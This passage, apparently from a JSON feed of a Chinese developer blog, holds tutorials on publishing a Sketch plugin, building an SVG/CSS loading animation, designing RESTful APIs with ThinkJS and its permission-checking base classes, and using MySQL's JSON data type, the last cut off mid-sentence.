); } 注： Web 原生的 postMessage() 方法的语法为 postMessage(message, targetOrigin, [transfer])。事件名称和事件参数都应该序列化之后通过 message 参数传入。\nSketch 插件中的 postMessage() 方法是注入方法，它对原生的方法进行了复写，所以参数格式上会与原生的不一样。注入方法的实现可参见 sketch-module-web-view 代码。\n在插件中，我们监听 insert 事件，获取到用户选择的配置之后给生成图片图层插入到画板中。\n//src/my-command.js import sketch, { Image, Rectangle } from \u0026#39;sketch/dom\u0026#39;; import BrowserWindow from \u0026#39;sketch-module-web-view\u0026#39;; export default function() { const browserWindow = new BrowserWindow({...}); browserWindow.webContents.on(\u0026#39;insert\u0026#39;, function(width, height, category, filter) { const url = \u0026#39;https://placeimg.com/\u0026#39; + [width, height, category, filter].join(\u0026#39;/\u0026#39;); new Image({ image: NSURL.URLWithString(url), parent: getSelectedArtboard(), frame: new Rectangle(0, 0, width, height), }); return browserWindow.close(); }); } 插件发布 最终我们的插件的主体功能就开发完毕了。下面我们就可以进行插件的发布了。我们可以直接使用 skpm publish 进行发布，它需要你通过 skpm publish --repo-url 或者是 package.json 中的 repository 字段为插件指定 Github 仓库地址。\n在 Personal Access Token 页面为 skpm 申请新的 Token，记得勾选上 repo 操作的权限。使用 skpm login \u0026lt;token\u0026gt; 进行登录之后，skpm 就获得了操作项目的权限。\n最后通过 skpm publish \u0026lt;version\u0026gt; 就可以成功发布了。如前文所说，发布后会在项目目录创建 .appcast.xml 文件，同时会发布一条对应版本的 Release 记录，提供插件的 zip 包下载地址。执行完 publish 操作后，如果发现你的插件还没有在插件中心仓库中列出来，还会询问你是否提交个 PR 把自己的插件增加上。\n当然如果你的插件不方便发布到 Github 上，也可以使用前文所说的手工发布，执行 skpm build 后对生成的 \u0026lt;name\u0026gt;.sketchplugin 目录进行打包即可。\n插件调试 上文的示例插件比较简单，所以没有使用特别多的调试手段。在官方教程《Debug a plugin》中描述了多种可以进行调试的方式。用的比较多的还是日志调试方式，可以使用系统的 Console.app 查看日志，也可以使用 skpm log -f 插件日志。\n文档里说的大部分是插件的调试，WebView 内的前端代码调试会更简单一点。WebView 窗体右键审查元素即可使用 Safari 的开发者工具进行调试了。\n注： 插件本身的代码本质是客户端代码，WebView 本质是前端代码，所以两者的调试和日志输出位置都是有区别的，这里要注意区分。\n后记 以上就是开发 Sketch 的一些基础知识和简单流程，其它的就是多去看一下 Sketch API 文档了。不过在实际的使用中 Sketch 的这套 JavaScript API 并不是非常完美，部分功能可能还暂时需要使用原生 API 区别。这时候可以多 Google 一下，能找到很多前人的实现，节省自己的工作量。\n本文主要是介绍了一套 JavaScript API + WebView 的偏前端的开发方式，代码我都已经放到 Github 上 https://github.com/lizheming/sketch-placeimg，大家可以自行查阅和下载。除了这种方式之外，我们也可以使用 OC + WebView 甚至是纯 OC 客户端的方式去开发插件。使用纯客户端开发的话性能会比 JavaScript API 的形式好一点，但是对于不了解 OC 开发的前端同学来说上手难度还是比较高的。\n除了 Sketch 之外，Figma 也是一款非常棒的 UI 设计软件。它基于 Web 开发，天生跨平台，更提供了更加易用的协作模式，解决 UI 开发中的多人协作问题。感兴趣的同学也可以去了解一下。\n参考资料：\n《Sketch插件开发总结》 ","count":4751,"date":"2020年10月01日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimgs4.com/t011270038e64a675be.png","permalink":"https://imnerd.org/how-to-write-sketch-plugin.html","summary":"\u003cp\u003eSketch 是近些年比较流行的 UI 设计软件，它比起之前常用的 Illustrator 或者 Photoshop 比较好的地方在于小巧功能简单但足够，同时对 Mac 的触摸板支持更加友好。另外它的插件系统也要比 Adobe 更加友好，大量的插件帮助我们解决协同和效率上的问题。\u003c/p\u003e","time":10,"title":"如何制作 Sketch 插件"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"最近我们设计师反馈，他想要做如下的一个加载动画。但是要么效果好的导出的 GIF 体积特别大，看了下有 8M 多了，要么体积小的 GIF 效果又特别不清楚。然后我看了下效果，发现其实用 SVG 动画来实现应该比较简单，于是就和设计师要了一下原始的稿子导出成 SVG 后处理了下。\n将 AE 动效稿子转成 SVG 动画的话 Airbnb 有出过一款 Lottie 的工具。通过它的 AE 插件 Bodymovin 能够以 JSON 的形式导出动画信息和素材。然后在网页上使用 bodymovin.js 动画播放库载入该 JSON 素材即可完成动效的转换。具体的使用教程可以参考 Youtube 视频《How to export an animation with Bodymovin》。\n使用 Bodymovin 是真的非常方便，不过介于设计师需要的效果比较简单，为了这个效果而每次去加载一个几十KB的基础库和JSON文件实在是没有必要。所以我这里就基于 SVG + CSS 动画来实现了下，最终的效果如下。最终体积也就 6KB，gzip 后会更小。 下面就来跟着我一块一步步的实现它吧！这里我不会特别详细的描述每一步的基本原理，如果大家想了解 SVG 动画的基础知识的话可以先看看我之前写的文章《SVG 动画实践》。\n动画拆分分析 通过观察发现该动画主要用到了平移、旋转、透明度，宽度和颜色等属性变化等动画效果。这些都可以通过 CSS3 动画来实现，剩下的我们需要对这些动画进行拆分，先分别实现它们。最后将他们组合，通过一定的时间配合实现完整的效果。\n在这里我将该动效最终拆分成了以下几个部分：\n外圈的波纹效果 外圈1的波纹效果 外圈2的波纹效果 外圈3的波纹效果 主体的伸展运动 主体绿色部分的平移伸展 主体绿色部分上的平移伸展 主体绿色部分下的平移伸展 主体白色圆球的渐隐效果 主体蓝色部分的平移伸展 主体白色横条的渐隐效果 主体部分的自转 蓝球的公转效果 每一个单独的动画效果我们都需要对其进行处理，所以我们需要对导出的 SVG 进行元素的整理，将我们需要进行操作的元素进行分组标记。由于 Sketch 导出的 SVG 文件会带有比较多的冗余元素，所以我一般会在手工处理 SVG 之前在走一遍 svgo 这类工具对内容进行优化。这里推荐张鑫旭老师写的 SVG 在线压缩合并工具，直接粘贴 SVG 代码过去即可，非常简单。下面是 SVG 整体结构的示意代码。\n\u0026lt;svg width=\u0026#34;552px\u0026#34; height=\u0026#34;552px\u0026#34; viewBox=\u0026#34;0 0 552 552\u0026#34; xmlns=\u0026#34;http://www.w3.org/2000/svg\u0026#34; xmlns:xlink=\u0026#34;http://www.w3.org/1999/xlink\u0026#34;\u0026gt; \u0026lt;!--外圈--\u0026gt; \u0026lt;g id=\u0026#34;track-list\u0026#34;\u0026gt; \u0026lt;!--外圈1--\u0026gt; \u0026lt;circle id=\u0026#34;track-circle-1\u0026#34; /\u0026gt; \u0026lt;!--外圈2--\u0026gt; \u0026lt;circle id=\u0026#34;track-circle-2\u0026#34; /\u0026gt; \u0026lt;!--外圈3--\u0026gt; \u0026lt;circle id=\u0026#34;track-circle-3\u0026#34; /\u0026gt; \u0026lt;/g\u0026gt; \u0026lt;!--中间主体--\u0026gt; \u0026lt;g id=\u0026#34;main\u0026#34;\u0026gt; \u0026lt;!--主体绿色部分下--\u0026gt; \u0026lt;g id=\u0026#34;bottom-triangel\u0026#34;\u0026gt; \u0026lt;path d=\u0026#34;...\u0026#34; /\u0026gt; \u0026lt;/g\u0026gt; \u0026lt;!--主体绿色部分上--\u0026gt; \u0026lt;g id=\u0026#34;top-triangel\u0026#34;\u0026gt; \u0026lt;path id=\u0026#34;shadow\u0026#34; d=\u0026#34;...\u0026#34; /\u0026gt; \u0026lt;path d=\u0026#34;...\u0026#34; /\u0026gt; \u0026lt;!--主体白色圆球--\u0026gt; \u0026lt;circle id=\u0026#34;white-ball\u0026#34; /\u0026gt; \u0026lt;/g\u0026gt; \u0026lt;!--主体蓝色部分--\u0026gt; \u0026lt;g id=\u0026#34;right-triangel\u0026#34;\u0026gt; \u0026lt;path d=\u0026#34;...\u0026#34; /\u0026gt; \u0026lt;!--主体白色横条--\u0026gt; \u0026lt;rect id=\u0026#34;white-line\u0026#34; /\u0026gt; \u0026lt;/g\u0026gt; \u0026lt;/g\u0026gt; \u0026lt;!--外圈蓝球--\u0026gt; \u0026lt;circle id=\u0026#34;blue-ball\u0026#34; /\u0026gt; \u0026lt;/svg\u0026gt; 可以看到我对 SVG 内的元素进行了重新的整理，将需要操作的元素都加上了 id 属性，方便后续直接使用 CSS 选择器选择对象进行操作。另外所有需要一块进行操作的元素也都使用 \u0026lt;g /\u0026gt; 分组标签进行了包裹。\n外圈的波纹效果 外圈的波纹效果本质上就是圆的半径慢慢放大，效果里还伴随了圆的边框变窄的一个过程。其中三个圆最内层的那个是不需要动的，只需要动后面两个即可。从设计稿中拿到结束帧的状态之后这个动画做起来就比较容易了。\n#track-circle-2 { animation-name: wave1; animation-timing-function: ease-in-out; animation-duration: 6s; animation-iteration-count: infinite; } #track-circle-3 { animation-name: wave2; animation-timing-function: ease-in-out; animation-duration: 6s; animation-iteration-count: infinite; } @keyframes wave1 { 50% { stroke-width: 4; r: 219px; } } @keyframes wave2 { 50% { stroke-width: 3; r: 274.5px; } } 主体的伸展运动 这块是整个里面比较复杂的一部分了，不过通过拆分，我们发现实现起来也比较简单，先实现内部元素的平移，然后再补充上整体的自转效果即可。平移这块没有什么多说的，唯一麻烦的就是通过起始帧和结束帧的位置计算出需要移动的距离而已。如图最终白线标记的位置就是我们需要的平移位置啦。\n#top-triangel { animation: topmove ease-in-out 2s infinite; } #shadow { animation: shadowhide linear 2s infinite; } #bottom-triangel { animation: bottommove ease-in-out 2s infinite; } #right-triangel { animation-name: rightmove ease-in-out 2s infinite; } @keyframes topmove { from, to { transform: translate(0, 0); } 50% { transform: translate(-31px, -30px); } } @keyframes bottommove { from, to { transform: translate(0, 0); } 50% { transform: translate(-31px, 30px); } } @keyframes rightmove { from, to { transform: translate(0); } 50% { transform: translate(29px); } } @keyframes shadowhide { 30%, 70% { opacity: 0; } } 对了，别忘记我们刚才的动画拆分里还有白色圆球和白色横条的渐隐效果。渐隐效果可以使用 opacity 透明度来实现，不过这里除了渐隐之外还有一个大小的变化，可能使用呼吸效果来表述会更合适一点。圆的大小就是修改半径，横条的大小我们直接修改宽度就可以了。\n#white-ball { animation: balltransparent ease-in-out 2s infinite; } #white-line { animation: linetransparent ease-in-out 2s infinite; } @keyframes balltransparent { 50% { opacity: 0; transform: scale(0); } } @keyframes linetransparent { 50% { opacity: 0; width: 0px; } } 根据刚才的动画拆分，主体部分我们就还剩下一个自转没有实现了。在做这一部分的时候需要注意两点。第一，旋转默认是基于 SVG 画布的左上角进行旋转的，自转的话一般都是基于中心旋转，所以一定要记得设置 transform-origin 为中心点。第二，Sketch 导出的 SVG 会存在大量的 translate() 平移属性操作，有可能是最开始设计师画的时候是在某个位置，后来觉得不合适进行了移动，在 SVG 里就会以平移变换体现出来。这个时候如果我们直接使用 transform 进行变换的话实际上是会复写掉它们原本的平移的，这样就导致了之前设置的旋转圆心不正确的问题。\n所以这种情况下需要使用联合变换，将之前的平移变换补充到 CSS 的变换中来就可以了，这也是为什么代码中会多出两个 translate() 的原因。\n#main { animation: mainrotate linear 6s infinite; transform-origin: center center; } @keyframes mainrotate { from { transform: translate(0, 0) rotateZ(0deg) translate(-72px, -42px); } to { transform: translate(0, 0) rotateZ(360deg) translate(-72px, -42px); } } 下面就是最终的实现效果。怎么样，是不是感觉已经离胜利不远了！\n蓝球的公转效果 动画拆分里的最后一步就是蓝球的公转效果了。从上文我们知道，旋转我们是可以设置旋转圆心的。自转是围绕自己转的，所以旋转圆心是自己的中心，公转则是围绕太阳转的，所以旋转圆心是太阳的圆心，对应到我们的动效里其实就是整个画布的中心。\n在这里我还使用了 CSS 表达角度的另外一个单位 turn，它表示的是圈数，转 360° 就表示 1turn。除了 turn 之外，CSS 角度还有 grad 梯度和 rad 弧度这两个单位。grad 则是将一个圆划分成了400等分，转 360° 就表示 400grad。而 rad 弧度则和我们数学上的弧度表示基本一致，一个圆总共是 2πrad。\n#blue-ball { animation: spin linear 6s infinite; transform-origin: center center; } @keyframes spin { from { transform: rotate(0turn); } to { transform: rotate(1turn); } } 后记 最后将上面的代码拼凑起来就可以实现文章开头的动画效果了，是不是还挺简单的。另外在 SVG 标签中也支持内嵌 \u0026lt;style\u0026gt; 和 \u0026lt;script\u0026gt; 标签，所以我们可以直接将样式内嵌在 SVG 文件中，这样我们就可以和引用 GIF 一样直接使用 \u0026lt;img\u0026gt; 或者背景图片的形式使用 SVG 而不需要其他负担，在一些不支持内嵌样式的 Markdown 网站比如 Github 中效果奇佳哦！\n","count":2486,"date":"2020年09月19日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimgs4.com/t0119600f22790c6b0a.png","permalink":"https://imnerd.org/make-loading-animation-by-svg.html","summary":"\u003cp\u003e最近我们设计师反馈，他想要做如下的一个加载动画。但是要么效果好的导出的 GIF 体积特别大，看了下有 8M 多了，要么体积小的 GIF 效果又特别不清楚。然后我看了下效果，发现其实用 SVG 动画来实现应该比较简单，于是就和设计师要了一下原始的稿子导出成 SVG 后处理了下。\u003c/p\u003e","time":5,"title":"使用 SVG 制作加载动画"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"RESTful 是目前比较主流的一种用来设计和编排服务端 API 的一种规范。在 RESTful API 中，所有的接口操作都被认为是对资源的 CRUD，使用 URI 来表示操作的资源，请求方法表示具体的操作，响应状态码表示操作结果。之前使用 RESTful 的规范写过不少 API 接口，我个人认为它最大的好处就是帮助我们更好的去规划整理接口，如果还是按照以前根据需求来写接口的话接口的复用率不高不说，整个项目也会变得非常的杂乱。\n文件即路由是 ThinkJS 的一大特色，比如 /user 这个路由等价于 /user/index，会对应到 src/controller/user.js 中的 indexAction 方法。那么就以 /user 这个 API 为例，在 ThinkJS 中要创建 RESTful 风格的 API 需要以下两个步骤：\n运行命令 thinkjs controller user -r 会创建路由文件 src/controller/user.js 在 src/config/router.js 中使用自定义路由标记该路由为 RESTful 路由 //src/config/router.js module.exports = [ [\u0026#39;/user/:id?\u0026#39;, \u0026#39;rest\u0026#39;] ]; 这样我们就完成了一个 RESTful 路由的初始化，这个资源的所有操作都会被映射成路由文件中对应请求方法的 Action 函数中，例如：\nGET /user 获取用户列表，对应 getAction 方法 GET /user/:id 获取某个用户的详细信息，也对应 getAction` 方法 POST /user 添加一位用户，对应 postAction 方法 PUT /user/:id 更新一位用户资料，对应 putAction 方法 DELETE /user/:id 删除一位用户，对应 deleteAction 方法 然而每个 RESTful 路由都需要去 router.js 中写一遍自定义路由未免过于麻烦。所以我写了一个中间件 think-router-rest，只需要在 Controller 文件中使用 _REST 静态属性标记一下就可以将其转换成 RESTful 路由了。\n//src/controller/user.js module.exports = class extends think.Controller { static get _REST() { return true; } getAction() {} postAction() {} putAction() {} deleteAction() {} } 简单的了解了一些入门知识之后，下面我就讲一些我平常开发 RESTful 接口时对我有帮助的一些知识点，希望对大家开发项目会有所帮助。\n表结构梳理 拿到需求之后千万不要急着先敲键盘，一定要把表结构整理好。其实说是表结构，实际上就是对资源的整理。以 MySQL 为例，一般一类资源就会是一张表，比如 user 用户表，post 文章表等。当你把表罗列出来之后那么其实你的 RESTful 接口就已经七七八八了。比如你有一张 post 文章表，那么之后你的接口肯定会有：\nGET /post 获取文章列表 GET /post/1 获取 id=1 的文章信息 POST /post 添加文章 PUT /post/1 修改 id=1 的文章信息 DELETE /post/1 删除 id=1 的文章 当然不是所有的事情都这么完美，有时候接口的操作可能五花八门，这种时候我们就要尽量的去思考接口行为的本质是什么。比如说我们要迁移文章给其它用户，这时候你就要思考它其实本质上就是修改 post 文章资源的 user_id 属性，最终还是会映射到 PUT /post/1 接口中来。\n想清楚有哪些资源能帮助你更好的创建表，接下来就要想清楚资源之间的关系了，它能帮助你更好的创建表结构。一般资源之间会存在以下几类关系：\n一对一：如果一位 user 只能创建一篇 post 文章，则是一对一的关系。在 post 中可以使用 user_id 字段来关联对应的 user 数据，在 user 中也可以使用 post_id 来关联对应的文章数据。 一对多：如果一位 user 能创建多篇 post 文章，则是一对多的关系。在 post 中可以使用 user_id 字段来关联对应的 user 数据。 多对多：如果一位 user 可以创建多篇 post 文章，一篇 post 文章也可以有多位 user，则是多对多的关系。多对多关系没办法通过一个字段来表示，这时候为了描述清楚多对多的关系，就需要一张中间表 user_post，用来做 user 和 post 表的关系映射。表内部的 user_id 表示 user 表 ID，post_id 则表示 post 表对应数据 ID。 mysql\u0026gt; DESCRIBE user; +-------+--------------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+--------------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | name | varchar(100) | YES | | NULL | | +-------+--------------+------+-----+---------+----------------+ 2 rows in set (0.01 sec) mysql\u0026gt; DESCRIBE post; +-------+---------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +-------+---------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | title | text | YES | | NULL | | +-------+---------+------+-----+---------+----------------+ 2 rows in set (0.00 sec) mysql\u0026gt; DESCRIBE user_post; +---------+---------+------+-----+---------+----------------+ | Field | Type | Null | Key | Default | Extra | +---------+---------+------+-----+---------+----------------+ | id | int(11) | NO | PRI | NULL | auto_increment | | user_id | int(11) | NO | | NULL | | | post_id | int(11) | NO | | NULL | | +---------+---------+------+-----+---------+----------------+ 3 rows in set (0.00 sec) 作为一款约定大于配置的 Web 框架，ThinkJS 默认规定了请求 RESTful 资源的时候，会根据当前资源 URI 找到对应的资源表，比如 GET /post 会找到 post 表。然后再进行查询的之后会进行自动的关联查询。例如当你在模型里标记了 post 和 user 是一对多的关系，且 post 表中存在 user_id 字段（也就是关联表表名 + _id），会自动关联获取到 project 对应的 user 数据。这在进行数据操作的时候会节省非常多的工作量。\n登录登出 当我第一次写 RESTful API 的时候，我就碰到了这个难题，平常大家都是使用 /login, /logout 来表示登录和登出操作的，如何使用资源的形式来表达就成了问题。后来想了下登录操作中涉及到的资源其实就是登录后的 Token 凭证，本质上登录就是凭证的创建与获取，登出就是凭证的删除。\nGET /token：获取凭证，用来判断是否登录 POST /token：创建凭证，用来进行登录操作 DELETE /token：删除凭证，用来进行登出操作 权限校验 我们平常写接口逻辑，其实会有很大一部分的工作量是用来做用户请求的处理。包括用户权限的校验和用户参数的校验处理等，这些逻辑其实和主业务场景没有太大的关系。为了将这些逻辑与主业务场景进行解耦，基于 Controller 层之上，ThinkJS 会存在一层 Logic 逻辑校验层。Logic 与 Controller 一一映射，并提供了一些常用的校验方法，我们可以将权限校验，参数校验，参数处理等逻辑放在这里，让 Controller 只做真正的业务逻辑。\n在 Logic 和 Controller 中，都存在 __before() 魔术方法，当前 Controller 内所有的 Action 执行之前都会先执行 __before() 操作。利用这个特性，我们可以将一些通用的权限校验逻辑放在这里，比如最平常的登录判断逻辑，这样就不需要在每个地方都做判断了。\n//src/logic/base.js module.exports = class extends think.Logic { async __before() { //接口 CSRF 校验 if (!this.isCli \u0026amp;\u0026amp; !this.isGet) { const referrer = this.referrer(true); if (!/^xxx\\.com$/.test(referrer)) { return this.fail(\u0026#39;请不要在非其它网站中使用该接口！\u0026#39;); } } // 非登录接口需要做登录校验 const userInfo = await this.session(\u0026#39;userInfo\u0026#39;) || {}; if(think.isEmpty(userInfo) \u0026amp;\u0026amp; !/\\/(?:token)\\.js/.test(this.__filename)) { return this.ctx.throw(401, \u0026#39;UnAuthorized\u0026#39;); } } } //src/logic/user.js const Base = require(\u0026#39;./base.js\u0026#39;); module.exports = class extends Base {} 创建一个 Base 基类，所有的 Logic 通过继承该基类就都能享受到 CSRF 和登录校验了。\n问：所有的请求都会实例化类，所以 contructor 本质上也会在所有的 Action 之前执行，那为什么还需要 __before() 魔术方法的存在呢？\n答：constructor 构造函数虽然有前置执行的特性，但是无法在保证顺序的情况下执行异步操作。构造函数前是不能使用 async 标记的，而 __before() 是可以的，这也是它存在的原因。\n善用继承 在 RESTful API 中，我们其实会发现很多资源是具有从属关系的。比如一个项目下的用户对应的文章，这句话中的三种资源 项目，用户 和 文章 就是从属关系。在从属关系中包括权限、数据操作等也都是具有从属关系的。比如说文章属于用户，非该用户的话自然是无法看到对应的文章的。而用户又从属于项目，其它项目的人是无法操作该项目下的用户的。这就是所谓的从属关系。\n确立了从属关系之后我们会发现越到下级的资源在对其操作的时候要判断的权限就越多。以刚才的例子为例，如果说我们对项目资源进行操作的话，我们需要判断该用户是否在项目中。而如果要对项目下的用户文章进行操作的话，除了需要判断用户是否在项目中，还需要判断该文章是否是当前用户的。\n在这个例子中我们可以发现：**资源关系从属的话权限校验也会是从属关系，从属关系中级别越深的资源需要判断的权限越多。**面向对象语言中，继承是一个比较重要的功能，它最大的好处就是能帮助我们进行逻辑的复用。通过继承，我们能直接在子资源中复用父资源的校验逻辑，避免重复劳动。\n//src/logic/base.js module.exports = class extends think.Logic { async __before() { const userInfo = this.session(\u0026#39;userInfo\u0026#39;) || {}; this.userInfo = this.ctx.state.userInfo = userInfo; if(think.isEmpty(userInfo)) { return this.ctx.throw(401); } } } //src/logic/project/base.js const Base = require(\u0026#39;../base.js\u0026#39;); module.exports = class extends Base { async __before() { await super.__before(); const {team_id} = this.get(); const {id: user_id} = this.userInfo; const permission = await this.model(\u0026#39;team_user\u0026#39;).where({team_id, user_id}).find(); const {controller} = this.ctx; // 团队接口中只有普通用户只有权限调用获取邀请链接详细信息和接受邀请链接两个接口 if(controller !== \u0026#39;team/invitation\u0026#39; \u0026amp;\u0026amp; (this.isGet \u0026amp;\u0026amp; !this.id)) { if(think.isEmpty(permission)) { return this.fail(\u0026#39;你没有权限操作该团队\u0026#39;); } } this.userInfo.role_id = permission.role_id; } } //src/logic/project/user/base.js const Base = require(\u0026#39;../base\u0026#39;); module.eports = class extends Base { async __before() { await super.__before(); const {role_id} = this.userInfo; if(!global.EDITOR.is(role_id)) { return this.fail(\u0026#39;你没有权限操作该文章\u0026#39;); } } } 通过创建三个 Base 基类，我们将权限校验进行了合理的拆分同时又能保证校验的完整性。同级别的路由只要继承当前层级的 Base 基类就能享受到通用的校验逻辑。\n/project 路由对应的 Logic 因为继承了 src/logic/base.js 所以实现了登录校验。 /project/1/user 路由对应的 Logic 因为继承了 src/logic/project/base.js 所以实现了登录校验以及是否在是项目成员的校验。 /project/1/user/1/post 路由对应的 Logic 因为继承了 src/logic/project/user/base.js 所以实现了登录校验、项目成员校验以及项目成员权限的校验。 瞧，套娃就这么简单！\n数据库操作 从属的资源在表结构上也有一定的反应。还是以之前的项目、用户和文章为例，一般来说你的文章表里会存在 project_id 和 user_id 两个关联字段来表示文章与用户和项目资源的关系（简单假设都是一对多的关系）。那么这时候实际上你对项目下的文章操作实际上都需要传入 project_id 和 user_id 这两个 WHERE 条件。\nThinkJS 内部使用 think-model 来进行 SQL 数据库操作。它有一个特性是支持链式调用，我们可以这样写一个查询操作。\n//src/controller/project/user/post.js module.exports = class extends think.Controller { async indexAction() { const ret = await this.model(\u0026#39;post\u0026#39;).where({project_id: 1}).where({user_id: 2}).select(); return this.success(ret); } } 利用这个特性，我们可以对操作进行优化，在 constructor 的时候将当前 Controller 下的通用 WHERE 条件 project_id 和 user_id 传入。这样我们在其它的 Action 操作的时候就不用每个都传一变了，同时也一定规避了可能会漏传限制条件的风险。\n//src/controller/project/user/post.js module.exports = class extends think.Controller { constructor(ctx) { super(ctx); const {project_id, user_id} = this.get(); this.modelInstance = this.model(\u0026#39;post\u0026#39;).where({project_id, user_id}); } async getAction() { const ret = await this.modelInstance.select(); return this.success(ret); } } 后记 RESTful API 除了以上说的一些特性之外，它对响应状态码、接口的版本也有一定的规范定义。像 Github 这种 RESTful 实现比较好的网站还会实现 Hypermedia API 规范，在每个接口中会返回操作其它资源时需要的 RESTful 路由地址，方便调用者进行链式调用。\n当然 RESTful 只是实现 API 的一种规范，还有其它的一些实现规范，比如 GraphQL。关于 GraphQL 可以看看之前的文章《GraphQL 基础实践》，这里就不多做补充了。\n","count":3584,"date":"2020年09月15日","featuredImage":"https://imnerd.org/assets/migration/p2.ssl.qhimgs4.com/t0107c5358f7e3258c9.png","permalink":"https://imnerd.org/how-to-build-restful-api-with-thinkjs.html","summary":"\u003cp\u003eRESTful 是目前比较主流的一种用来设计和编排服务端 API 的一种规范。在 RESTful API 中，所有的接口操作都被认为是对资源的 CRUD，使用 URI 来表示操作的资源，请求方法表示具体的操作，响应状态码表示操作结果。之前使用 RESTful 的规范写过不少 API 接口，我个人认为它最大的好处就是帮助我们更好的去规划整理接口，如果还是按照以前根据需求来写接口的话接口的复用率不高不说，整个项目也会变得非常的杂乱。\u003c/p\u003e","time":8,"title":"如何使用 ThinkJS 优雅的编写 RESTful API"},{"comments":{"data":[0],"errmsg":"","errno":0},"contents":"MySQL 5.7 增加了 JSON 数据类型的支持，在之前如果要存储 JSON 类型的数据的话我们只能自己做 JSON.stringify() 和 JSON.parse() 的操作，而且没办法针对 JSON 内的数据进行查询操作，所有的操作必须读取出来 parse 之后进行，非常的麻烦。原生的 JSON 数据类型支持之后，我们就可以直接对 JSON 进行数据查询和修改等操作了，较之前会方便非常多。\n为了方便演示我先创建一个 user 表，其中 info 字段用来存储用户的基础信息。要将字段定义成 JSON 类型数据非常简单，直接字段名后接 JSON 即可。\nCREATE TABLE user ( id INT(11) UNSIGNED AUTO_INCREMENT PRIMARY KEY, name VARCHAR(30) NOT NULL, info JSON ); 表创建成功之后我们就按照经典的 CRUD 数据操作来讲讲怎么进行 JSON 数据类型的操作。\n添加数据 添加数据这块是比较简单，不过需要理解 MySQL 对 JSON 的存储本质上还是字符串的存储操作。只是当定义为 JSON 类型之后内部会对数据再进行一些索引的创建方便后续的操作而已。所以添加 JSON 数据的时候需要使用字符串包装。\nmysql\u0026gt; INSERT INTO user (`name`, `info`) VALUES(\u0026#39;lilei\u0026#39;, \u0026#39;{\u0026#34;sex\u0026#34;: \u0026#34;male\u0026#34;, \u0026#34;age\u0026#34;: 18, \u0026#34;hobby\u0026#34;: [\u0026#34;basketball\u0026#34;, \u0026#34;football\u0026#34;], \u0026#34;score\u0026#34;: [85, 90, 100]}\u0026#39;); Query OK, 1 row affected (0.00 sec) 除了自己拼 JSON 之外，你还可以调用 MySQL 的 JSON 创建函数进行创建。\nJSON_OBJECT：快速创建 JSON 对象，奇数列为 key，偶数列为 value，使用方法 JSON_OBJECT(key,value,key1,value1) JSON_ARRAY：快速创建 JSON 数组，使用方法 JSON_ARRAY(item0, item1, item2) mysql\u0026gt; INSERT INTO user (`name`, `info`) VALUES(\u0026#39;hanmeimei\u0026#39;, JSON_OBJECT( -\u0026gt; \u0026#39;sex\u0026#39;, \u0026#39;female\u0026#39;, -\u0026gt; \u0026#39;age\u0026#39;, 18, -\u0026gt; \u0026#39;hobby\u0026#39;, JSON_ARRAY(\u0026#39;badminton\u0026#39;, \u0026#39;sing\u0026#39;), -\u0026gt; \u0026#39;score\u0026#39;, JSON_ARRAY(90, 95, 100) -\u0026gt; )); Query OK, 1 row affected (0.00 sec) 不过对于 JavaScript 工程师来说不管是使用字符串来写还是使用自带函数来创建 JSON 都是非常麻烦的一件事，远没有 JS 原生对象来的好用。所以在 think-model 模块中我们增加了 JSON 数据类型的数据自动进行 JSON.stringify() 的支持，所以直接传入 JS 对象数据即可。\n由于数据的自动序列化和解析是根据字段类型来做的，为了不影响已运行的项目，需要在模块中配置 jsonFormat: true 才能开启这项功能。\n//adapter.js const MySQL = require(\u0026#39;think-model-mysql\u0026#39;); exports.model = { type: \u0026#39;mysql\u0026#39;, mysql: { handle: MySQL, ... jsonFormat: true } }; //user.js module.exports = class extends think.Controller { async indexAction() { const userId = await this.model(\u0026#39;user\u0026#39;).add({ name: \u0026#39;lilei\u0026#39;, info: { sex: \u0026#39;male\u0026#39;, age: 16, hobby: [\u0026#39;basketball\u0026#39;, \u0026#39;football\u0026#39;], score: [85, 90, 100] } }); return this.success(userId); } } 下面让我们来看看最终存储到数据库中的数据是什么样的\nmysql\u0026gt; SELECT * FROM `user`; +----+-----------+-----------------------------------------------------------------------------------------+ | id | name | info | +----+-----------+-----------------------------------------------------------------------------------------+ | 1 | lilei | {\u0026#34;age\u0026#34;: 18, \u0026#34;sex\u0026#34;: \u0026#34;male\u0026#34;, \u0026#34;hobby\u0026#34;: [\u0026#34;basketball\u0026#34;, \u0026#34;football\u0026#34;], \u0026#34;score\u0026#34;: [85, 90, 100]} | | 2 | hanmeimei | {\u0026#34;age\u0026#34;: 18, \u0026#34;sex\u0026#34;: \u0026#34;female\u0026#34;, \u0026#34;hobby\u0026#34;: [\u0026#34;badminton\u0026#34;, \u0026#34;sing\u0026#34;], \u0026#34;score\u0026#34;: [90, 95, 100]} | +----+-----------+-----------------------------------------------------------------------------------------+ 2 rows in set (0.00 sec) 查询数据 为了更好的支持 JSON 数据的操作，MySQL 提供了一些 JSON 数据操作类的方法。和查询操作相关的方法主要如下：\nJSON_EXTRACT()：根据 Path 获取部分 JSON 数据，使用方法 JSON_EXTRACT(json_doc, path[, path] ...) -\u0026gt;：JSON_EXTRACT() 的等价写法 -\u0026gt;\u0026gt;：JSON_EXTRACT() 和 JSON_UNQUOTE() 的等价写法 JSON_CONTAINS()：查询 JSON 数据是否在指定 Path 包含指定的数据，包含则返回1，否则返回0。使用方法 JSON_CONTAINS(json_doc, val[, path]) JSON_CONTAINS_PATH()：查询是否存在指定路径，存在则返回1，否则返回0。one_or_all 只能取值 \u0026ldquo;one\u0026rdquo; 或 \u0026ldquo;all\u0026rdquo;，one 表示只要有一个存在即可，all 表示所有的都存在才行。使用方法 JSON_CONTAINS_PATH(json_doc, one_or_all, path[, path] ...) JSON_KEYS()：获取 JSON 数据在指定路径下的所有键值。使用方法 JSON_KEYS(json_doc[, path])，类似 JavaScript 中的 Object.keys() 方法。 JSON_SEARCH()：查询包含指定字符串的 Paths，并作为一个 JSON Array 返回。查询的字符串可以用 LIKE 里的 \u0026lsquo;%\u0026rsquo; 或 \u0026lsquo;_\u0026rsquo; 匹配。使用方法 JSON_SEARCH(json_doc, one_or_all, search_str[, escape_char[, path] ...])，类似 